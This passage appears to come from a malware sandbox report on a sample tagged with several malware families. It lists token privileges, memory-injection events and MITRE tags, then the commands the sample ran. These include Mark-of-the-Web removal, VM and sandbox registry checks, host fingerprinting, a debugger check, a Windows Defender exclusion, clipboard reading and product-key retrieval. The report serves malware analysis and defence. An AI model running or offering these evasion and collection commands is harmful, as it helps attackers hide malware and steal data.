Token: SeIncBasePriorityPrivilege	3980	WMIC.exe
Token: SeCreatePagefilePrivilege	3980	WMIC.exe
Token: SeBackupPrivilege	3980	WMIC.exe
Token: SeRestorePrivilege	3980	WMIC.exe
Token: SeShutdownPrivilege	3980	WMIC.exe
Token: SeDebugPrivilege	3980	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3980	WMIC.exe
Token: SeRemoteShutdownPrivilege	3980	WMIC.exe
Token: SeUndockPrivilege	3980	WMIC.exe
Token: SeManageVolumePrivilege	3980	WMIC.exe
Token: 33	3980	WMIC.exe
Token: 34	3980	WMIC.exe
Token: 35	3980	WMIC.exe
Token: 36	3980	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3980	WMIC.exe
Token: SeSecurityPrivilege	3980	WMIC.exe
Token: SeTakeOwnershipPrivilege	3980	WMIC.exe
Token: SeLoadDriverPrivilege	3980	WMIC.exe
Token: SeSystemProfilePrivilege	3980	WMIC.exe
Token: SeSystemtimePrivilege	3980	WMIC.exe
Token: SeProfSingleProcessPrivilege	3980	WMIC.exe
Token: SeIncBasePriorityPrivilege	3980	WMIC.exe
Token: SeCreatePagefilePrivilege	3980	WMIC.exe
Token: SeBackupPrivilege	3980	WMIC.exe
Token: SeRestorePrivilege	3980	WMIC.exe
Token: SeShutdownPrivilege	3980	WMIC.exe
Token: SeDebugPrivilege	3980	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3980	WMIC.exe
Token: SeRemoteShutdownPrivilege	3980	WMIC.exe
Token: SeUndockPrivilege	3980	WMIC.exe
Token: SeManageVolumePrivilege	3980	WMIC.exe
Token: 33	3980	WMIC.exe
Token: 34	3980	WMIC.exe
Token: 35	3980	WMIC.exe
Token: 36	3980	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3228	WMIC.exe
Token: SeSecurityPrivilege	3228	WMIC.exe
Token: SeTakeOwnershipPrivilege	3228	WMIC.exe
Token: SeLoadDriverPrivilege	3228	WMIC.exe
Token: SeSystemProfilePrivilege	3228	WMIC.exe
Token: SeSystemtimePrivilege	3228	WMIC.exe
Token: SeProfSingleProcessPrivilege	3228	WMIC.exe
Token: SeIncBasePriorityPrivilege	3228	WMIC.exe
Token: SeCreatePagefilePrivilege	3228	WMIC.exe
Token: SeBackupPrivilege	3228	WMIC.exe
Token: SeRestorePrivilege	3228	WMIC.exe
Token: SeShutdownPrivilege	3228	WMIC.exe
Token: SeDebugPrivilege	3228	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3228	WMIC.exe
Token: SeRemoteShutdownPrivilege	3228	WMIC.exe
Token: SeUndockPrivilege	3228	WMIC.exe
Token: SeManageVolumePrivilege	3228	WMIC.exe
Token: 33	3228	WMIC.exe
Token: 34	3228	WMIC.exe
Token: 35	3228	WMIC.exe
Token: 36	3228	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3228	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2728 wrote to memory of 4292	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	80
PID 4292 wrote to memory of 444	4292	cmd.exe	82
PID 2728 wrote to memory of 1492	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	83
PID 1492 wrote to memory of 3980	1492	cmd.exe	85
PID 2728 wrote to memory of 4344	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	87
PID 4344 wrote to memory of 3228	4344	cmd.exe	89
PID 2728 wrote to memory of 792	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	90
PID 792 wrote to memory of 4756	792	cmd.exe	92
PID 2728 wrote to memory of 2632	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	93
PID 2632 wrote to memory of 4048	2632	cmd.exe	95
PID 2728 wrote to memory of 3736	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	96
PID 3736 wrote to memory of 4036	3736	cmd.exe	98
PID 2728 wrote to memory of 3308	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	99
PID 3308 wrote to memory of 572	3308	cmd.exe	101
PID 2728 wrote to memory of 3388	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	102
PID 3388 wrote to memory of 1168	3388	cmd.exe	104
PID 2728 wrote to memory of 3084	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	105
PID 3084 wrote to memory of 992	3084	cmd.exe	107
PID 2728 wrote to memory of 2208	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	108
PID 2208 wrote to memory of 2260	2208	cmd.exe	110
PID 2728 wrote to memory of 948	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	111
PID 948 wrote to memory of 2712	948	cmd.exe	113
PID 2728 wrote to memory of 1284	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	114
PID 1284 wrote to memory of 5076	1284	cmd.exe	116
PID 2728 wrote to memory of 3340	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	117
PID 3340 wrote to memory of 4960	3340	cmd.exe	119
PID 2728 wrote to memory of 2104	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	120
PID 2104 wrote to memory of 240	2104	cmd.exe	122
PID 2728 wrote to memory of 228	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	123
PID 228 wrote to memory of 4744	228	cmd.exe	125
PID 2728 wrote to memory of 4864	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	126
PID 4864 wrote to memory of 2512	4864	cmd.exe	128
PID 2728 wrote to memory of 1748	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	129
PID 1748 wrote to memory of 3604	1748	cmd.exe	131
PID 2728 wrote to memory of 4748	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	132
PID 4748 wrote to memory of 4028	4748	cmd.exe	134
PID 2728 wrote to memory of 848	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	135
PID 848 wrote to memory of 3668	848	cmd.exe	137
PID 2728 wrote to memory of 428	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	138
PID 428 wrote to memory of 4072	428	cmd.exe	140
PID 2728 wrote to memory of 2036	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	141
PID 2036 wrote to memory of 2652	2036	cmd.exe	143
PID 2728 wrote to memory of 4664	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	145
PID 4664 wrote to memory of 3100	4664	cmd.exe	147
PID 2728 wrote to memory of 1480	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	148
PID 1480 wrote to memory of 3272	1480	cmd.exe	150
PID 2728 wrote to memory of 1776	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	151
PID 1776 wrote to memory of 4500	1776	cmd.exe	153
PID 2728 wrote to memory of 2296	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	154
PID 2296 wrote to memory of 2968	2296	cmd.exe	156
PID 2728 wrote to memory of 3436	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	157
PID 3436 wrote to memory of 768	3436	cmd.exe	159
PID 2728 wrote to memory of 5016	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	160
PID 5016 wrote to memory of 736	5016	cmd.exe	162
PID 2728 wrote to memory of 1068	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	163
PID 1068 wrote to memory of 876	1068	cmd.exe	165
PID 2728 wrote to memory of 1868	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	166
PID 1868 wrote to memory of 1104	1868	cmd.exe	168
PID 2728 wrote to memory of 2256	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	169
PID 2256 wrote to memory of 3904	2256	cmd.exe	171
PID 2728 wrote to memory of 676	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	172
PID 676 wrote to memory of 328	676	cmd.exe	174
PID 2728 wrote to memory of 2684	2728	2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	175
PID 2684 wrote to memory of 1836	2684	cmd.exe	177

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
956	attrib.exe
3604	attrib.exe
1860	attrib.exe
4516	attrib.exe
2476	attrib.exe
4176	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"
1⤵
- Subvert Trust Controls: Mark-of-the-Web Bypass
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2728
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Temp\2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier\" 2>nul""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4292
- - C:\Windows\system32\cmd.exe
    cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Temp\2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier\" 2>nul"
    3⤵
    PID:444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1492
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3980
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic desktopmonitor get ScreenWidth,ScreenHeight /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4344
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic desktopmonitor get ScreenWidth,ScreenHeight /format:csv
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3228
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic logicaldisk where "DriveType=3" get Size /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:792
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic logicaldisk where "DriveType=3" get Size /format:csv
    3⤵
    PID:4756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get Name /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2632
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get Name /format:csv
    3⤵
    - Detects videocard installed
    PID:4048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3736
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
    3⤵
    - Looks for VMWare Tools registry key
    PID:4036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3308
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    PID:572
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3388
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:1168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3084
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:992
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmci" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2208
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmci"
    3⤵
    - Looks for VMWare services registry key.
    PID:2260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:948
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs"
    3⤵
    PID:2712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1284
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL"
    3⤵
    - Looks for VMWare services registry key.
    PID:5076
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\QEMU" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3340
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\QEMU"
    3⤵
    PID:4960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Parallels" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2104
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Parallels"
    3⤵
    PID:240
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Wine" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:228
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Wine"
    3⤵
    - Identifies Wine through registry keys
    PID:4744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4864
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn"
    3⤵
    - Looks for Xen service registry key.
    PID:2512
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1748
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie"
    3⤵
    PID:3604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Cuckoo" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4748
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Cuckoo"
    3⤵
    PID:4028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\JoeBox" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:848
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\JoeBox"
    3⤵
    PID:3668
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:428
- - C:\Windows\system32\tasklist.exe
    tasklist /FO CSV /NH
    3⤵
    - Enumerates processes with tasklist
    PID:4072
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "getmac /FO CSV /NH"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2036
- - C:\Windows\system32\getmac.exe
    getmac /FO CSV /NH
    3⤵
    PID:2652
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "driverquery /FO CSV"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4664
- - C:\Windows\system32\driverquery.exe
    driverquery /FO CSV
    3⤵
    PID:3100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "Get-Process|Where-Object{$_.MainWindowTitle}|Select-Object -ExpandProperty MainWindowTitle""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1480
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "Get-Process|Where-Object{$_.MainWindowTitle}|Select-Object -ExpandProperty MainWindowTitle"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "(Invoke-WebRequest -Uri 'http://ip-api.com/line?fields=query,hosting' -UseBasicParsing -TimeoutSec 5).Content""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1776
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "(Invoke-WebRequest -Uri 'http://ip-api.com/line?fields=query,hosting' -UseBasicParsing -TimeoutSec 5).Content"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "Add-Type @'using System;using System.Runtime.InteropServices;public class D{[DllImport(\"kernel32\")]public static extern bool IsDebuggerPresent();}'@;[D]::IsDebuggerPresent()""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2296
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "Add-Type @'using System;using System.Runtime.InteropServices;public class D{[DllImport(\"kernel32\")]public static extern bool IsDebuggerPresent();}'@;[D]::IsDebuggerPresent()"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2968
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get Manufacturer,Model /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3436
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get Manufacturer,Model /format:csv
    3⤵
    PID:768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5016
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv
    3⤵
    PID:736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "(Get-Process -Id $PID).Parent.ProcessName""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "(Get-Process -Id $PID).Parent.ProcessName"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net use"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1868
- - C:\Windows\system32\net.exe
    net use
    3⤵
    PID:1104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /NH"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2256
- - C:\Windows\system32\tasklist.exe
    tasklist /NH
    3⤵
    - Enumerates processes with tasklist
    PID:3904
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:676
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
    3⤵
    PID:328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get SerialNumber /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2684
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get SerialNumber /format:csv
    3⤵
    PID:1836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').InstallDate""
  2⤵
  PID:3168
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').InstallDate"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid 2>nul"
  2⤵
  PID:3128
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:2096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\CLR\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4660
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /noconfig /nologo /optimize+ /out:C:\Users\Admin\AppData\Local\Microsoft\CLR\pre_strm_1780336178040.exe /lib:C:\Windows\Microsoft.NET\Framework64\v4.0.30319 /r:mscorlib.dll /r:System.dll /r:System.Drawing.dll /r:System.Windows.Forms.dll /target:winexe C:\Users\Admin\AppData\Local\Microsoft\CLR\pre_strm_1780336178040.cs
  2⤵
  PID:3272
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA2F2.tmp" "c:\Users\Admin\AppData\Local\Microsoft\CLR\CSC6C1F0909DB7A4D46AF182165FF246F44.TMP"
    3⤵
    PID:2968
- C:\Users\Admin\AppData\Local\Temp\2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
  C:\Users\Admin\AppData\Local\Temp\2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe C:\snapshot\12vt\panel\server\build_temp\build_1780296337337_115z5a\index.js
  2⤵
  - Executes dropped EXE
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  PID:2396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Temp\2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier\" 2>nul""
    3⤵
    PID:5088
  - - C:\Windows\system32\cmd.exe
      cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Temp\2026-06-01_5f8aef6b475bcf03fff0d707f937d357_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier\" 2>nul"
      4⤵
      PID:4212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "Get-Clipboard""
    3⤵
    - Clipboard Data
    PID:4724
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "Get-Clipboard"
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:2200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic product get name,version /format:csv 2>nul"
    3⤵
    PID:672
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic product get name,version /format:csv
      4⤵
      PID:1532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s 2>nul"
    3⤵
    PID:3532
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
      4⤵
      PID:4104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "Get-CimInstance Win32_StartupCommand | Select-Object Name,Command,Location,User | Format-Table -AutoSize -Wrap""
    3⤵
    PID:2084
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "Get-CimInstance Win32_StartupCommand | Select-Object Name,Command,Location,User | Format-Table -AutoSize -Wrap"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" 2>nul"
    3⤵
    PID:5024
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
      4⤵
      PID:3044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV"
    3⤵
    PID:4744
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO CSV
      4⤵
      Enumerates processes with tasklist
      PID:4584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "(Get-CimInstance SoftwareLicensingService).OA3xOriginalProductKey""
    3⤵
    PID:4884
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "(Get-CimInstance SoftwareLicensingService).OA3xOriginalProductKey"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "(Get-CimInstance -ClassName SoftwareLicensingProduct | Where-Object {$_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f' -and $_.LicenseStatus -eq 1}).PartialProductKey""
    3⤵
    PID:4212
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "(Get-CimInstance -ClassName SoftwareLicensingProduct | Where-Object {$_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f' -and $_.LicenseStatus -eq 1}).PartialProductKey"
      4⤵
      Suspicious behavior: EnumeratesProcesses
